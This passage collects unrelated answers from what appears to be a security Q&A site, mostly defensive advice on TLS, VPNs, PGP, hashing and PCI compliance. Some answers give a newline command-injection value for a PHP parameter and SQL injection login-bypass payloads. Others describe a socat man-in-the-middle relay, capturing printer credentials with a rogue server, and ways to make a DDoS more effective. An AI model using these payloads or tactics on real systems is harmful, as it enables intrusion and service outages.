very strong password. Better yet, don't run it on a public port (bind
it to localhost), and SSH/VPN in to access it."
A friend of mine has a Mac, and her system has been a bit strange
lately.
Specifically, it's been acting suspiciously like it's been rooted -
which, being a fellow Mac user, concerns me greatly. She's had random
text show up in IM windows, but apparently was away from the computer
and never investigated.
Tonight, she had something show up in a terminal window while she was
away, and IM'd it to me. I have remote (root) access to her system
(she's aware of this and set up the account for me), and was bored, so
I decided to investigate. ... My first thought was that this had to be
an automated program. A human won't try to enter Win32 specific
commands on a Mac. It appears that the program sent keycodes that were
not translated properly to the Mac, which would be consistent with an
automated program.

I would generally think that:

This is an automated attack. csrss.exe is a Windows system
executable, and someone specifically targeting your Linux system
would not try to invoke it.

This type of attack (passing a command sequence into the user
clipboard in the hopes that it will be inadvertently executed in a
command prompt) is not new - the Ars Technica post is from 2002, over
a decade ago.

So I would suggest that your computer may not be compromised (contrary to the Ars Technica opinion above):

You sound like you would not have made the mistakes described. It may "just" be that a
browser feature (or exploit) has allowed a malicious site to access
your clipboard.

If indeed your computer has been compromised, the attacker would
have no need to use this method - he would just interact with a
shell remotely.

The solution for you would probably be watchful waiting - as in be alert for any further oddness, and if seen re-evaluate.
Or if some action were deemed prudent, probably the best would be the usual suspects - make sure your browser(s), browser plugins, and your OS are up to date with security patches.


Depending on how the programs know each other it might be possible.

Assuming you are running a server that only listens on 127.0.0.1 and a client that tries to connect to it. What port does the server listen on? What happens when the port is ocuppied? How does a client know it's a correct port?

Assuming that the port is not hardcoded in both server and client, but is somehow configured, one could setup a MITM on a different port and trick a client to connect to that modified port.

Poor man's example - assuming you have SSH server on your local box

socat TCP-LISTEN:1234 TCP:127.0.0.1:22

In the other console do

ssh 127.0.0.1 -p 1234

You'll see that you connect to your own SSH. Kill the socat in the first console and you see connection breaks. The socat is your MITM.

Edit: After you've specified your target (modifying a packet en-route and watching HMAC break it), I'd guess you'll need a second server, that normally only forwards packets from one socket to other, but after somehow notifying it (10% of the time, a specific file exists, a signal is received, 10s after startup...) it modifies the received packet before forwarding.


Spoofed email has appropriate alias but unknown email

To answer your question, I slightly suspect if any, your wife's account may have been compromised. This suspicion is derived from assuming that the attacker may have gotten your name from her contacts, but I find it more likely that both of your E-Mail addresses and marital status are contained in some database out there.

One thing you can do to check if there's any unauthorized people using your gmail account is go to https://myaccount.google.com/security and from here you'll be able to scroll down and see some information about recent activity and connections to your google account. If things appear to be in order here, then you're likely fine. Regardless, it's always a good idea to change your password whenever you become suspicious.

In the future it might also be a good idea to keep the email in the event that this person starts to become threatening to the safety of your wife, family or yourself. It could be a good lead for the authorities.


Can a device be TLS compliant without RSA?

This clearly says "In the absence of an application profile standard specifying otherwise". Which means if you write a TLS stack and expect arbitrary TLS implementations to connect then you must implement the given cipher as the minimal common cipher. If instead you need the TLS stack only for a specific application and define the ciphers used by the application as ECC only then you don't need to implement this specific cipher.


Is a VPN really required with free Wi-Fi on a train?

If you are not using a VPN, then every site you visit that sends or receives anything sensitive (especially passwords) should be HTTPS rather than just HTTP. The 's' in HTTPS stands for secure which is provided by TLS handshaking and encryption. In effect, when using TLS (i.e. HTTPS, which I refer to interchangeably here) you are effectively using a separate VPN for each site.

It might be worth adding a comment about why this is good practice. There are several concerns when using any public hotspot. The first is that some other Wi-Fi user has configured their device (laptop, phone, ...) to receive all the traffic being broadcasted from the nearby systems. This can also be prevented if the hotspot is properly configured to use encryption, but that is not wholly trustworthy since the older Wi-Fi encryption protocols are attackable.

The second risk is that the hotspot device itself has been compromised. There are several ways in which this can happen including from the wireless network, the wired network and physical access. Another attack is spoofing the hotspot so users connect to the attacker's system rather than the legitimate service.

Rather than trying to assess the security of each wireless environment, I recommend that you become aware of the security of communication to each of the Internet services you use and move to TLS for anything that communicates information you would not want publicly disclosed. This habit should be followed for both wireless and wired connection since it can also protect against the (generally rare) attacks that expose data from the wired Internet.

It occurred to me to add a couple of disclaimers:

This discussion is about data in transit. Do not assume that your data is well protected at the destination service just because it was encrypted during transmission. That protection is lost once it arrives at the destination and other protections must be in place for the processing and storage of sensitive data at the remote site.

ALSO, you may have seen headlines about problems with TLS. Those are about specific implementations or older versions of the protocol. If the service provider has properly updated and maintained their system and you are using modern, updated software (such as keeping you browser software updated), TLS is a very powerful and entirely reliable protocol.


Can I ask GPG keyservers to name all keys signed by a particular key?

No, there is no such command. But you could easily fetch a dump of all keys known to the key servers and query it yourself someway. Or look at the PGP Web of Trust statistics which includes such a list and grep it. The underlying wot file could make things easier.


What kind of hashing is generally used in log-in modules?

What hash function is used in Windows XP, 7, 8,Linux Ubuntu, Debian, MAC Lion OS X ,...?

To answer the linux/unix (e.g., ubuntu, debian, os X) part of the question, the crypt hashing algorithm is typically used (but is configurable).  The standard is a salted (8 random alphanumeric character) hash that's key-strengthened about 5000 times using a simple cryptographic hash like sha256/sha512.  Again, this is configurable; e.g., see a previous question.

For various versions windows, they use LM Hash and/or NTLM hash which may be encrypted while the user is logged in.  See wikipedia for more details; I'm not a windows user.

  Also is any hash function used in motherboard master password?

The BIOS is interesting; its so easy to reset a BIOS (remove CMOS battery without say getting the password) and difficult to otherwise read information that I've never really bothered to see how passwords are stored.  According to this, sometimes they are just stored in plaintext, sometimes very weakly hashed using non-cryptographic hashing functions (like CRC-16 or a flawed implementation of it).

  What about websites?

Totally depends on the configuration of the backend of the website.  Sites I set up generally use bcrypt with strength factor (base-2 log rounds) of 12.

  Does hashing prevent all timing side-channels?

No.  Constant time string comparison of the stored hash to the hash of the inputted password prevents side-channel attacks.  This is not guaranteed in all applications.  I'm confident most linuxes have this implemented correctly; and some open-site websites and web frameworks definitely do this right.  For example,  reddit uses specifically the constant_time_compare used for comparing tokens as does django 1.3+, however django 1.2 used to use a simple string equality susceptible to timing-based attacks.  Granted timing attacks are much easier to do on a local application than over a network (where a few nanosecond difference from a quick timing fail is hard to discern from random variations in network speeds).


Is it possible to boot into root's /bin/bash on a LUKS encrypted device?

If the root partition is encrypted, then the only way to run its /bin/bash is to decrypt that file. In fact, if the partition is encrypted, the only way to even know whether there is a file called /bin/bash is to decrypt directories on the partition. With a LUKS encrypted device, you can't even know whether there's a filesystem there. So no, it is not possible to boot into a system where the root filesystem is encrypted. (Unless you know or guess the key, of course.)


Using Google Authenticator for SSH sessions

Google Authenticator implements standard protocols such as TOTP (and maybe HOTP), they are not Google-specific nor depend on Google's servers, so using their PAM module isn't related to your Google account and doesn't need an online connection.

If you're like me and don't trust Google you can use an independent PAM module and an independent authenticator app implementing either the HOTP or TOTP protocol (search your phone's App Store).


Can I inject a shell command here in PHP?

At least, the newline is not escaped, so, you can bypass it via /index.php?arg=%0Als (it should list all files from the current directory).

Also, there is a possibility to get a Full Path Disclosure passing arg as an array (/index.php?arg[]=1).


What are the security implications of storing password blacklist?

In that order of magnitude (1000 passwords), I don't see any down sides from a security point of view. If anything, I'd say it's a good idea. Granted, you'll be shrinking the pool of possible passwords which, theoretically, decreases the security. In practice, however, those most commonly used passwords will be one of the first wordlists an attacker would try.

In fact, I've seen a few web services disclosing this in their registration forms. Some even block whole dictionaries in addition to common passwords.


is the entire cipher-text needed for decryption in asymmetric encryption?

Most practical asymmetric encryption uses symmetric encryption to encrypt the bulk of the data, so many of the same design principles and design considerations in symmetric encryption also applies to asymmetric encryption.

In most practical asymmetric encryption, the asymmetric encryption is used to encrypt a symmetric session key and to sign. As long as the partial ciphertext includes the header block where the session key is stored, you'd be able to decrypt partial asymmetric encryption if the underlying symmetric encryption can be decrypted with partial text. You'd most likely get a signature error, but this don't prevent the partial decryption itself.

If you're asking whether pure RSA or EC itself can be decrypted with partial text, as implemented in most practical encryption system, then no, as these asymmetric ciphers are used only to encrypt a single block (the symmetric session key), so no block chaining vulnerability would be possible.


Our realtor used Transaction Desk when dealing with our documents, and had us do the same. She would give us a paper with a barcode on it and we dialed the 800# to send our fax to, and made sure that page was the first page in the fax. There's always risk when dealing with cloud based services for obvious reasons, the most obvious reason is that there is a third party actually storing the data. I would recommend TD though or use it myself if I needed secure fax services.


How to use Aircrack-ng when knowing part of the password?

This should do it! It will append 1234 beginning of each line in your wordlist.

sed 's/^/1234/' wordlist.txt > newWordList.txt


Why use a proxy to hide OAuth client credentials in password grant calls?

After reading the linked blog post and after cross referencing his issues with the OAuth 2.0 RFC I have a few issues with his concerns. In the first section of his blog post, he has two major issues with using OAuth within a single page web application using the Resource Owner Password Credentials Grant:

The client_id and client_secret are baked into the Javascript.
An attacker can also access the access_token and refresh_token from the Javascript.

Addressing the first problem, section 4.3.2 of the RFC lists the requirements for requesting an access_token using the Resource Owner Password Credentials Grant flow. These requirements don't include a client_secret because the provider trusts the client. If this flow was used for untrusted clients, the client wouldn't need a client_secret because the client could just authenticate to the provider using the users username and password. This flow basically replicates traditional password based authentication schemes.

The second problem does exist, however the author doesn't really explain the impact. To gain access to the user's access_token the attacker either needs physical access to the user's computer or to exploit a separate vulnerability like cross-site scripting within the web. An access_token is basically equivalent to a session cookie except the browser doesn't have built-in mechanisms like the secure and http-only cookie flags to protect an access_token.

Together this means that there isn't really a valid reason to send the API requests through a thin proxy because the application shouldn't expose any secret data that a web application wouldn't normally expose.


I've found a nice post from a Cisco Support Engineer regarding to the ASA:

  However, if you are trying to find the OpenSSL version for an ASA (Adaptive Security Appliance), you can determine this version from the ASA release notes.  Simply examine the "Open Source" notes that are located in the release notes of the particular ASA image you are concerned with.  For example, from the ASA 8.4 release notes, you will find a section titled "Related Documentation", which has a link that points to "ASA Series Documentation".  From there, you will find a link for "Open Source License".  That will take you to an "Open Source" page which reveals that the OpenSSL version that runs on the ASA 8.4 code is "0.9.8f"

Due to this neither 8.4(x) nor 9.1(x) are vulnerable as they are using parts of the OpenSSL version 0.9.8f


Can personal VPN help protecting my behavior on the company laptop?

Yes. You should use the device you own to privately do anything.

Apple Configurator 2, which is used to configure corporate owned Apple devices, is able to

  ensure that the users’ web traffic stays within the organization’s guidelines.

It further notes that

  These include the
  ability to enable a web filter via a global proxy to ensure that the users’ web
  traffic stays within the organization’s guidelines.

If a global proxy is set, OpenVPN will have no chance but to communicate through the proxy, telling (warning) the IT that you are trying to a)connect to a foreign network which can lead to a data breach b)mitigate their control by using OpenVPN.

They could not be able to read the contents, but company policies may get you fired for getting your device unprotected by connecting to a foreign network.

Update:

  I don't care if the company knows I'm using a private VPN (this is allowed and confirmed with the IT department). My only concern is if the company knows I visited nba.com (for example).

They can't. But they can forbid deleting browsing history in a device, and require to hand them over.

  On iOS, I think the only demon/background monitoring is the "device management"? So they can only inject the TLS certificates
  I'm not sure for the macOS if they pre-installed software to record the keystroke or the web requests before sending out via OpenVPN.

You can see what the MDM monitors in the MDM profile section in Settings.

  I am free to uninstall and install any browser so the Chrome/Firefox is not modified or customized by the company.
  DNS might be another issue but I'm planning to set up a personal DNS server to handle that.

That's good. Although I am concerned about data breaches.

  From the company policy, we are allowed to watch games and even play PUBG/LOL/CSGO using the company laptop. So there is no policy concern.

You need to check a)what liabilities you might take if a data breach happens because of you b)is there an official confirmation that allows personal VPNs


Looking for a (simple) utility to decrypt rsa-encrypted text in Windows?

You could send the mails in standard S/MIME format, which would allow recipients to use a plugin for their mail client of choice to read the encrypted parts without too much hassle. I know for a fact that there are Tunderbird plugins, and I'm pretty sure Outlook has native support for S/MIME.

You can create these mails with the openssl command line tool: https://www.openssl.org/docs/apps/smime.html


Can a running kernel be protected by underlying rings, BIOS etc?

Yes, with varying degrees of success. Of these, only the first two are commonly used in production:

RKP (Real-time Kernel Protection) from Samsung Knox, which blocks unauthorized access or modification to kernel code by userspace, and monitors sensitive credentials in the kernel.
KDP, a Microsoft technology using a set of hypervisor-based features called VBS.
Various experimental hypervisors based on BitVisor, such as SecVisor, with varying goals.
Cappsule by Quarkslab, which runs a CoW copy of the kernel for each spawned process.
McAfee DeepSAFE, a hypervisor that provides a tamper-resistant view of system events.
Co-processor-based integrity protection such as the experimental Copilot.
VBH, an experimental and out-of-tree Linux hardening patch similar to Microsoft's KDP.

I believe there was also some short-lived custom Intel ME module ("ring -3") which was designed for similar purposes, but I forget the name. SMM ("ring -2") could also theoretically be used for integrity, depending on what events can trigger a SMI (System Management Interrupt). Note that these are not "true" protection rings, as I explained in greater detail in another answer.


How would you detect an Evil Twin attack, especially in a new environment?

They're both evil. You shouldn't be connecting to any "Free Public Wifi" without assuming that all your unencrypted traffic will be monitored and modified. The best solution is to not connect to public networks at all, but if that's not an option for you then you can protect yourself a little more by specifying your own DNS (rather than letting the router pick for you), using https everywhere you can, not accessing your sensitive accounts on public networks, considering a VPN, and keeping your software and firmware up to date.

In direct answer to your question, some routers have their MAC address printed on a label; you could ask the router owner to check for you, then connect to it, ping it, and view your arp table (arp -a) to see if it matches. Alternatively, you could tell the router owner that there's an imposter nearby and have them change the network name.


How to verify PGP signature with signing key

Assuming you have GPG installed:

gpg --import signing_key.pub
gpg --verify signed_file.sig

Where signing_key.pub is the public key, and signed_file.sig is the detached signature for the file (in the same directory as the signed file).


Looking to take a hotspot that is shared and create my own hotspot that can be firewalled

I am already using a VPN, but I want to be able to create my own
  hotspot from another hotspot and firewall it or create another VLAN.
  Is this recommended? What do you recommend? Is a VPN enough?
  Attempting to accomplish this is redundant? Or could it be an extra
  layer of security?

Oh my, this is not going to achieve what you think it will. If I understood correctly, there are some kind of a shared wifi hotspot, to which you wish to connect, then reshare the connection it provides via additional wifi hotspot created by you in order to elevate a security posture of your network, right? Well, there are no point in doing so, as all the traffic will still be visible to the original owner, and he can take his sweet time to decrypt it (if VPN are being used, or whatnot) by acting as man in the middle (say, acting as a proxy, forcing you to use the certificates he provided and so on)


Privacy implications of IDFA/IDFV? (iPhone/iOS)

The IDFA (advertisingIdentifier) identifies the device but is reset when the device is erased. The IDFA is intended for use by advertising networks which need to be able to identify users across apps.

As far as privacy is concerned, the IDFA is very similar to the UDID, but does the following to mitigiate the UDID privacy issues:

Unlike the UDID, the user
can prevent apps from accessing the IDFA, by turning on "Limit Ad Tracking" in the device settings.
The IDFA is reset when the device is erased.
Access to the IDFA is probably limited only to advertising networks and not available to most app developers. This is not known as fact, but is an assumption of the developers community.

The IDFV (identifierForVendors) is unique per app vendor so it doesn't present any real risk to privacy. I would guess that the IDFV is a one-way function of the UDID (which still exists - only the API was deprecated) and the vendor ID. Incidentally I suggested that Apple do this when they originally announced the deprecation of the UDID API.


So, if encrypted (with digital signature) data is transmit through HTTPS protocol then it should be secure. So, if my data is changed somehow in the time of transmitting (middle-man-attack) then at the time of verify it would't qualify.

First of all, encryption provides secrecy. No-one can read what you're sending. It does not provide integrity or authentication.
However, https provides both. It encrypts data, and it authenticates the parties. Normally, only the server is authenticated, but client side certificates, or additional authentication (e.g. client identifier of some sort) may be transmitted to authenticate the client.
You probably do not need any additional encryption; TLS (https) should be enough. If you need to ensure integrity of the data, you may want to look into HMAC, which lets you sign the individual messages.


Most widespread use of PGP after 20 years

PGP signatures are used to sign software packages in some Linux distributions, including Debian and Ubuntu. This is quite widespread, although most Linux users are never aware of it.

PGP encryption, for what is was meant initially (i.e. emails), is commonly used in commercial situations, where some parties wish to exchange work documents. PGP keys are thus exchanged directly, not using the certificates (keys signed by other people) and the "web of trust". I often do it with customers. PGP benefits from very good integration and simple usage in many mailer softwares. PGP signatures are also used there, as an integrity check (but not in their "non-repudiation" role).

To sum up, the one feature of PGP which is almost never used is the web of trust.


How do I know if a Nessus Scan against a Oracle instance has been sucessful?

You can check the Nessus log to see what checks it performed, what plugins it used / attempted to use.

Steps

In the scan settings, make sure Log Scan Details to Server is checked
Execute the scan
After the scan, check the log file in: /opt/nessus/var/nessus/logs/nessusd.messages


How to identify which certificate I'm missing to produce HTTPS calls?

The error is because the client - postman - cannot verify the server certificate. My assumption based on the information you provided is that your organization's proxy acts as a Man-In-The-Middle and terminates SSL at the proxy. As a result, you recieve a certificate signed by your organization rather than something signed by a trusted certificate authority.

The solutions to this is adding the signing authority as trusted CA on the client side.


Is there a way to differentiate the certificates that came as part of the certificate chain from the ones already in the trust store?

You can get the full list of certificates sent by the server by connecting to the server and grab the chain with OpenSSL:

openssl s_client -connect www.google.com:443

That will display (among other thing) the whole chain as sent by the server

That is, however, useless for assessing the security of your connection (it's useful for debugging, though).

Why is that info useless? Well, there is two possible scenarii here:

The trust anchor used is safe. In this case, there is no way for an attacker to inject an invalid certificate in the trust chain: if a given certificate is in the chain, it has been (directly or indirectly) signed by the root and therefore vetted by that root. Since you trust that root (that is the whole point here), you can trust that certificate. Repeat for every cert in the chain and your have full trust.
The trust anchor is compromised in ANY way. Then you cannot trust ANY certificate that it has issued no matter where they come from. These certificates could have been replaced with exactly identical ones with only the public key part changed and you wouldn't be the wiser.

In none of these case will knowing where the intermediate certificates come from help you decide if a specific connection can be trusted, therefore that information is useless from a security perspective.

I'd like to add two things here:

That explanation assumes that there is no flaw in either the cryptography or the software used. If this assumption isn't right, then all bets are offs (but this isn't exactly the context of the question).
There is a very special case that works in a different way: certificate pinning. In this case, you do not trust a trust chain but hard code (in some way or another) the leaf certificate. In this case, the trust chain is meaningless because that is not the way the trustfulness of the connection is asserted.


Can random subdomain naming enhance security?

You should assume that an attacker can observe traffic. This may happen at your network endpoint, at the client's end, or somewhere in between.

On the client side, the attacker will see DNS resolution for random.example.com if he is observing your users, and he may also discover this domain name if he attempts to access to site directly (this second method depends on how tightly you control references/redirects on the main site to the subdomain).

Plus, if you are using certificates for TLS (as you should be), you will have a certificate listing random.example.com, either as the named entity or an alternative name. That will be visible on the wire.

An attacker may be able to browse the DNS zone records in a more direct fashion. As a general rule, you should assume that everything you publish to DNS is available to everyone. If a legitimate client can find the record for that subdomain, so can nefarious users. If you try to hide the subdomain name behind a wildcard record, then the attacker will know the destination IP address regardless.

In the absence of two-factor authentication, a strong password authentication implementation is your primary security. This implies both reasonably complex passwords and a modern hashing algorithm such as scrypt or Argon2. Additional measures would depend on the application and the users. If you can restrict access via firewall, that would be a good step; however, this is only feasible if users can register devices quickly or in advance.

Your question isn't clear if only hardware-based 2FA is excluded. Don't forget about the second-class 2FA options, if permissible. They are better than nothing. If you can transmit a secret to the users out of band via email/text/phone, it is a worthwhile effort.

Alternatively, you could provide a passcode during registration/enrollment, and your site will accept that code to issue a permanent cookie; that cookie can then act as the second factor.

Unfortunately, these methods can be compromised, unlike a hardware 2FA device. Realistically, most sites use nothing more than TLS and a strong password requirement, and they are fine.


Using encrypted data in session key instead of random

Encryption is the wrong tool, because you need to prevent users from changing the session data, not from reading it. The user ID is not a secret, but it would be a disaster if people could just change it to anything they want.

In other words, you must enforce the integrity and authenticity of the session data. Encryption generally cannot do this. What you want is an HMAC, and frameworks like Ruby on Rails indeed take this approach.

However, an HMAC is much harder to get right than a simple random ID, and client-side sessions have a couple of inherent problems. For example, if your session key is leaked, anybody can forge any session. You also can't just terminate a session. And last but not least, client-side sessions are vulnerable to replay attacks, that is, the user can revert the changes you make to the session data simply by using the old cookie.


How do I protect myself against SIM hijacking/social engineering?

One of the main culprits for allowing this to happen is the marketing of 2FA as something more secure than just maintaining consistency with already well known security practices. The simple answer to your question is, don't use SMS based 2FA.

The longer answer to your sub-questions are:

Hedge your account credentials!
Don't connect your social network accounts with foolish easy-login features, like that provided by using Facebook and Google logins.
Compartmentalize your accounts according to importance. I.e. (Don't
use the same Google account for your Banking operations as you use to
signup to random websites.) For example:

Banking & Assets
Gov't Services
Social Networks
Random Web-site signups
IoT / Mobile Device use

Avoid any SMS related service if possible (rather insist using Signal)
Use anonymization providers for temporary/disguised emails, Temp Credit Cards etc.


Enterprise software in which later versions have security vulnerability

You appear to assume that risk assessments can be devoid of subjective belief.

The answer is to conduct a risk assessment based on all the factors involved and infer factors that matter to your risk assessment. There is no way to avoid subjective belief. And there is no "best practice" concerning when to update when there is no vulnerability in the present version.

Each software is unique, and moreover, each update to each software is unique. One cannot make a quantitative analysis on the probability of future bugs based on past bugs, or based on the bugs experienced by similar programs, for the very reasons you mention:

an update might fundamentally fix a faulty function that reduces the probability of future problems
each update can introduce new bugs

Yes, you can infer some relevant factors based on the updates, what was fixed, and other environmental factors, but that can require that one makes a lot of guesses. It can be better to review and test the code yourself, if that is possible, but that also requires that you trust your testing process. (If testing processes were a complete and objective measure, then software would not have any bugs, to begin with).

That means that inference, experience, and expert opinion are all important factors in making the decision to update from one version to another (and in all risk assessments).

Therefore, the best practice is to perform a risk assessment that includes the subjective beliefs of the experts whose opinions matter and the processes that you trust.


How can Google Chrome update itself in C:\Program Files?

The initial install requires per UAC prompt admin rights. It then uses this to install an update service. This one uses a local system account which has enough permissions.

Some other software uses btw the Windows scheduler. Funny enough it is quite easy to have such a high privileged background job, it's much more complicated to do that transparently as the user with admin rights.


PCI requirement 8.3 - 2FA for all network access originating outside the network

Disclaimer: IANAQSA, and if you're level 4, you probably don't have one.  Be cautious.

  My Question is: Do the other offices (Singapore, Malaysia, India)
  access restricted to the Japan and Thailand as we are able to connect
  through private MPLS link? Or is it OK as we are connecting only
  through a private link.

This is really a question of Scope - see pages 10-11 of PCI DSS 3.1.  Section 8.3 is designed to cover the case of remote (which usually means intermittent, not always-on) access.

The guidance for 8.3 says:

  If remote access is to an entity’s network that has appropriate
  segmentation, such that remote users cannot access or impact the
  cardholder data environment, two-factor authentication for remote
  access to that network would not be required.

and the Network Segmentation section on page 11 states:

  Without adequate network segmentation (sometimes called a "flat
  network") the entire network is in scope of the PCI DSS assessment.
  Network segmentation can be achieved through a number of physical or
  logical means, such as properly configured internal network firewalls,
  routers with strong access control lists, or other technologies that
  restrict access to a particular segment of a network. To be considered
  out of scope for PCI DSS, a system component must be properly isolated
  (segmented) from the CDE, such that even if the out-of-scope system
  component was compromised it could not impact the security of the CDE.

So the answer to your question is:

If the remote (Singapore/Malaysia/India) sites have unrestricted access to your in-scope networks in Japan/Thailand via the MPLS, then they are also in-scope, and require the same level of PCI controls as Japan/Thailand.  (That includes 2FA for any remote-remote users, e.g., users who VPN into India and can then connect over the MPLS to Japan)
If the remote sites are properly restricted via Network Segmentation as described in the DSS, then 2FA is not required for the site or for access from the site in general.  Access for a user at a remote site to in-scope resources at an in-scope site may require 2FA - again, to quote 8.3:

  However, two-factor authentication is required for any remote access
  to networks with access to the cardholder data environment

(In fact, depending on the QSA, if you have both in-scope and out-of-scope networks at your Japan/Thailand sites, you may need multiple factors to identify site-local users who access the in-scope CDE from the out-of-scope network.  I've seen varying levels of rigor on this topic from different QSAs)


What should a CRL file name look like when "new" and "delta" CRLs are generated?

A "normal" setup with Microsoft's Certificate Services involves two CRL files: a base CRL and a delta CRL. The base CRL is destined to be referenced from a CRL Distribution Points extension in the issued certificate. The base CRL will contain a Freshest CRL extension which itself points to the delta CRL. Whenever a new base CRL is issued, a new delta CRL is issued immediately after; but the delta CRL can also be updated more often than the base CRL (and that's the point of using a delta CRL, by the way). By default, Certificate Services will force a new delta CRL whenever the previous one will soon expire, and also whenever a certificate is revoked.

You do not need more than these two files. Remember that a CRL has any value only insofar as clients (who validate certificates) can find them, and they find them by following the URL found in other objects. End-entity certificates contain one URL for CRL download, therefore the current CRL must always be stored under that name.

Furthermore, Certificate Services allows you to configure the names of both CRL (base and delta) only through a common setting, the two names differing only by the "<DeltaCRLAllowed>" keyword, which is replaced by an empty string for a base CRL, and a "+" sign for a delta CRL. That naming scheme is imposed; you cannot change it. (Incidentally, if you go for Web-based distribution of CRL and your Web server is IIS, then the "+" sign will cause you trouble; in order to allow IIS to serve the file, you have to activate double escaping.)

For the third file with an underscore, verify whether it is a ".crl" file (i.e. a CRL) or a ".crt" file (i.e. a certificate). It is normal and expected to have a copy of the CA certificate in that location. The name for that certificate will be derived (still by default) from the host name of the CA, and its domain name -- if you get nothing after the underscore, then I suppose that your CA is not part of an Active Directory domain. The CA certificate is referenced from the Authority Information Access extension of issued certificates, while CRL are referenced from the CRL Distribution Points extension of the same certificates.


Why do APIs use API Keys instead of Usernames?

I can think of a number of reasons you might use a key:

Prevent guessing, especially if the key doubles as part of the authentication. This is what Terry's answer is trying to tell you - why allow a malicious user to simply try multiple user names from a dictionary when you can make them search a large address space (it would need to be be pretty big, bigger than 128-bit at least). Combined with rate-limiting and IP blocking, you would filter out a large number of attacks.
Prevent the users' account being compromised if the user name is public. If my username is antony and my API key is antony, great, you're half way to breaking in. However, if my API key is something random, it becomes much harder (see point 1).
Allow multiple devices to access the system and by extension enable a kind of access-control for devices. If you have one memorable username as your API key, this becomes hard to revoke unless there is a corresponding API secret. If you're using API secrets, having per-device secrets achieves a similar thing.
Prevent a leaked key from identifying the user in any way. This is, of course, entirely useless if the content of the application or device identifies the user.

This list is probably not exhaustive.


Does Google 2-step verification protect user from session hijacking?

Short answer: Yes, the attacker can use session hijacking.

Long answer: attackers can use XSS to get your browser cookie (the one that Google sets) and inject it into their request for Google. Still, if that doesn't happen, malware can do whatever it wants while you are logged in.


SSO level of trust external identity providers

Never use the IdP-provided identifier alone; use it together with the IdP's own name. (For example, in SAML2 each IdP has its own entity ID, and I believe it's common practice to combine it with the username somehow.) So you would recognize these as two distinct users:

ClientX,user@example.com
ClientY,user@example.com

It doesn't matter much what type of identifier you use exactly (email or username or SID or GUID) – as long as it's just a text string that's 100% IdP-provided, it won't be enough.


Sure, it seems vulnerable. The backend is expecting there a number and that generated the error. But the symptom of inserting a single quote and generate an error is a good signal, probably it is a sql injection vulnerability.

The first step could be to know what kind of database is. It is supossed you know that... because is your own database, right? :D

I recommend to you to launch some app like sqlmap to explore deeper the vulnerability.

Anyway, you can check the usual. There is an entire list of this. I'll put three of them:

' or '1'='1
a' or 1=1--
' or 0=0--

Good luck.


Is it realistic for a script kiddie to remotely hack into a jailbroken iPhone?

A key point of definition of 'script kiddie' is that they can run scripts but don't necessarily understand how or why the scripts work.

So yes, absolutely. If you have a vulnerability on your phone, your attacker can run an exploit that will gain access. They may not know how it works; they may just try a bunch of exploits hoping one will succeed.

There is very little any more that is only breakable by a "sophisticated hacker" because they sell packaged exploits to unsophisticated attackers.


You didn't provide details about the physical security, the network infrastructure, the printer itself, printer connectivity, the network share... It is hard to say.

PRET can be used if there is exploitable vulnerability on the printer and you have a direct network access to it. And you are correct, the password will be there, that is for sure. Maybe encrypted, maybe not, it can take some time to find it there, but yes, it is there.

MITM would not probably work if the share is not unprotected FTP. I suppose it is windows (or SMB) share.

What about another attack scenario? It presumes you have physical access to the printer and to its cabling. But you must be lucky with so many things in this case...

What about unplugging the printer from the network it is connected to (if it is well configured wifi with VLANs you are lost, if there is ethernet with properly configured 802.1x without fallback allowed on printer side, you are lost, if there is mutual authentication or share server certificate validation you are lost, if the printer is loading configuration, contacts or something else from netwokr server, you are lost), connect it to "attacker network" and make it think the host on 192.168.0.155 is the one he is really looking for while it will be a machine controlled by you with your software installed so once it tries to authenticate you can capture the authentication protocol packets unencrypted directly on that machine. If you will be lucky the clear text password will be sent (what I would not hope for). You will probably get some kind of maybe salted, maybe not salted hash you can use to authenticate somewhere else in the network or you can try to bruteforce a password against it using rainbow tables.


What security problems does copying .Xauthority to another user present?

There is no isolation between GUI apps on X11, so that allows your user to spy on your clipboard's content, create windows that may look like spoofs of your own windows (e.g. spoofs of your polkit1 dialog or screen locker), record your entire monitor, implement a keylogger...

Just create a guest session, seriously. Or use a VM. I would not trust other technologies with guaranteeing isolation right now on X11. And I would not consider XACE a useful tool for the general public, because it's very low level, and very hard to distinguish between X11 internals and legitimate calls (not to mention some APIs like X11 selections get massively abused and are impossible to mediate in their current form).

If you can run Wayland already, then you could look up this post by GTK+/GNOME developer Alexander Larsson I haven't reviewed it though, but this is experimental, on-going work done by engineers who are brilliant but not necessarily trained security professionals. Use with caution.

You might also find my answer on Should I get an antivirus for Ubuntu? to be relevant.


Tracking if an email was opened in gmail

The only foolproof way is the good old QSL of radio amateurs. That means that you end your mail with QSL? if the recipients are used to that Q code, or simply use a sentence like Please confirm receipt of that message which means the same.

In addition to the automatic return receipt, the manual QSL says that the message has been received and understood.

I must acknowledge that this is not really sexy, but it has been used for decades and has proven to be robust.


How can perpertrators of denial of service attacks, determine the impact their attack has had?

Recent attacks seem to have been aiming to get media coverage of outages - see things like the December 2014 Lizard Squad attacks on Xbox Live and PSN, or the November 2015 Armada Collective attacks. Throw enough traffic at a high profile target (social network, gaming service, news service) and sooner or later you'll get media reports about it.

Beyond that, there isn't much you can do - by definition, a successful attack will result in the service under attack being unreachable. If you can reach it, you need more traffic, or to re-route your traffic, or to change the type of your traffic - if a server can handle huge volumes of HTTP traffic, can it handle the same volume of HTTPS traffic? It's not massively more difficult to serve, but caching might be set up incorrectly, resulting in higher load on servers. If there is a firewall dropping connections after a relatively low number of attempts from a given IP address, you need more IP addresses, to keep the number of connection attempts from each down. Is the system handling everything without any problems? Try doubling the number of connections.

The other thing to be aware of is that the attackers are not necessarily the people running the systems that are doing the attacking. This might seem counter-intuitive, but there are various DDoS-as-a-service type offerings around. An attacker can pay for a certain level of traffic to hit a given IP address or domain name, at a given time, and, from their point of view, it just happens. In that case, they might get some basic stats (how many connections are being dropped, total connections, total bandwidth required to handle everything being thrown at the system), but will have limited ability to affect these - they can pay for more traffic, but probably not control where it comes from. Some of these services tend to be open to bribery too - can you pay more than whoever you're attacking? If not, they might just pay off the service - the service still gets the money.


PowerShell / Windows - Security best practices for enabling Windows Remote Management

For my PowerShell remoting server, I utilize Just Enough Administration please see:

https://www.google.com/#q=Just+Enough+ADministration&*

Unique Runspaces:

This allows the user to execute scripts in their own runspace after you proxy the commands. Additionally, you can log significantly better, and it's based on the SID of the user who is invoking those commands.

Restricted Access:

You can restrict access to specific scripts from certain individuals or groups. You can also utilize CAS, Code Access Security, granted you are using any C#.

https://msdn.microsoft.com/en-us/library/930b76w0(v=vs.90).aspx

